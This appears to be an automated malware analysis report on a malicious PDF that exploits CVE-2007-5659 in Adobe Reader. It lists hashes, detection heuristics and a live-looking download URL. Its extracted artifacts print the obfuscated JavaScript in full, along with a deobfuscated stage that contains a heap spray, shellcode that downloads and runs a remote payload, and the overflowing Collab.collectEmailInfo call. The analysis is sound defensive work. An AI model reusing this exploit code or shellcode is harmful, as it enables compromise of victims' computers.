Malicious PDF — malware analysis report

Static analysis result for SHA-256 b48d5f0b7791d98e…

MALICIOUS

PDF

4.7 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2012-07-06
MD5: 4acef606ea99095b8fc83843f379ff13 SHA-1: 41c283aba3625d5708fd3296aa29ac7a246e6f83 SHA-256: b48d5f0b7791d98e23b59dcab58d5ab5bc899d51eec6c4c04d7326062d1b63f2
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The PDF_EVAL firing specifically points to an eval() call within a decoded stream, suggesting an attempt to execute obfuscated code. While the exact payload is not discernible due to obfuscation, the presence of eval() and embedded JavaScript strongly suggests an attempt to download and execute a second-stage payload. No specific malware family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function bCzgGkpFBmfGv(){eval("function im"+"p"+"lo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function CYhWI0(vXjFvs){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(vXjFvs)"+";"+"}");eval("function Kum4fNKy9gOS(Riv3g5){var IPnAMvWpRMHimS="+"0,SCOcH5MhUsaStw=Riv3g5.l"+"en"+"gth,e0CYvqRo37L=10"+"2"+"4,vsVR923oPPq4A,wUkLj,cZ4SUS='',t9bGKaeIxYq=IPnAMvWpRMHimS,oWTaid7yZyb=IPnAMvWpRMHimS,Uz2X3a5=IPnAMvWpRMHimS,JH670LzVvz=Ar"+"ra"+"y(6 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://q850.com/modules/tmp/load.php?id=54&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 6642 bytes
SHA-256: 7867f1ce28040e08ca7d4b35d58530aaab764d78925e9404f3fb61e58de419a9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 121 of 242 identifiers look randomly generated (e.g. 'KC55t0kIXxydxf5wXGHyohjq5v6ZGc0N_q5'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function bCzgGkpFBmfGv(){eval("function im"+"p"+"lo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function CYhWI0(vXjFvs){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(vXjFvs)"+";"+"}");eval("function Kum4fNKy9gOS(Riv3g5){var IPnAMvWpRMHimS="+"0,SCOcH5MhUsaStw=Riv3g5.l"+"en"+"gth,e0CYvqRo37L=10"+"2"+"4,vsVR923oPPq4A,wUkLj,cZ4SUS='',t9bGKaeIxYq=IPnAMvWpRMHimS,oWTaid7yZyb=IPnAMvWpRMHimS,Uz2X3a5=IPnAMvWpRMHimS,JH670LzVvz=Ar"+"ra"+"y(63,38,16,28,36,43,50,42,4,29,0,0,0,0,0,0,21,24,25,31,52,17,7,47,49,46,12,2,54,55,37,14,5,8,3,62,19,59,40,44,39,23,33,0,0,0,0,18,0,6,58,45,34,10,30,61,60,1,48,56,9,51,41,11,22,26,20,27,35,32,13,53,15,57,0);f"+"o"+"r(wUkLj=M"+"at"+"h.c"+"ei"+"l(SCOcH5MhUsaStw/"+"e0CYvqRo37L)"+";wUkLj>IPnAMvWpRMHimS;wUkLj-"+"-){fo"+"r(vsVR923oPPq4A=Ma"+"th.m"+"in(SCOcH5MhUsaStw,e0CYvqRo37L);vsVR923oPPq4A>IPnAMvWpRMHimS;vsVR923oPPq4A-"+"-,SCOcH5MhUsaStw-"+"-){Uz2X3a5|"+"=(JH670LzVvz[Riv3g5.cha"+"rCod"+"eAt(t9bGKaeIxYq+"+"+)-48])<"+"<oWTaid7yZyb;if(oWTaid7yZyb){cZ4SUS+"+"=CYhWI0"+"(141^Uz2X3a5&"+"2"+"5"+"5);Uz2X3a5>"+">="+"8;oWTaid7yZyb-"+"="+"2;}el"+"se{oWTaid7yZyb="+"6"+";}}"+"}return (cZ4SUS);}var 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generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x36B 2543 bytes
SHA-256: a2838db4782ce953ee2c5ba986b9568cfca38ed15f070ed9328066930c08ab1b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var OdhToZgSA4 = new Array(); function yIh06AFCjMzF05(uUTl3CClHxb, JS6vkmfl) { while (uUTl3CClHxb.length*2<JS6vkmfl){uUTl3CClHxb += uUTl3CClHxb;} uUTl3CClHxb = uUTl3CClHxb.substring(0,JS6vkmfl/2); return uUTl3CClHxb; } function TclVoslS() { var BQV5r08 = 0x0c0c0c0c; var kyNRr36 = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u712F%u3538%u2E30%u6F63%u2F6D%u6F6D%u7564%u656C%u2F73%u6D74%u2F70%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3435%u7326%u6C70%u343D"); var lQTZyP8nbH5E = 0x400000; var X9Bo7A = kyNRr36.length * 2; var JS6vkmfl = lQTZyP8nbH5E - (X9Bo7A+0x38); var uUTl3CClHxb = unescape("%u9090%u9090"); uUTl3CClHxb = yIh06AFCjMzF05(uUTl3CClHxb, JS6vkmfl); var U7OyA0 = (BQV5r08 - 0x400000)/lQTZyP8nbH5E; for (var jCeoRvHPpCc=0;jCeoRvHPpCc<U7OyA0;jCeoRvHPpCc++) { OdhToZgSA4[jCeoRvHPpCc] = uUTl3CClHxb + kyNRr36; } } function xtKtONWWElVs() { var sE8iwM = app.viewerVersion.toString(); sE8iwM = sE8iwM.replace(/\D/g,""); var pv02C = new Array(sE8iwM.charAt(0),sE8iwM.charAt(1),sE8iwM.charAt(2)); if ((pv02C[0] == 8 && ((pv02C[1] == 1 && pv02C[2] < 2) || pv02C[1] < 1)) || (pv02C[0] == 7 && pv02C[1] < 1) || (pv02C[0] < 7)) { TclVoslS(); var uwpplWHY = unescape("%u0c0c%u0c0c"); while(uwpplWHY.length < 44952) uwpplWHY += uwpplWHY; this.collabStore = Collab.collectEmailInfo({subj: "",msg: uwpplWHY}); } } xtKtONWWElVs();

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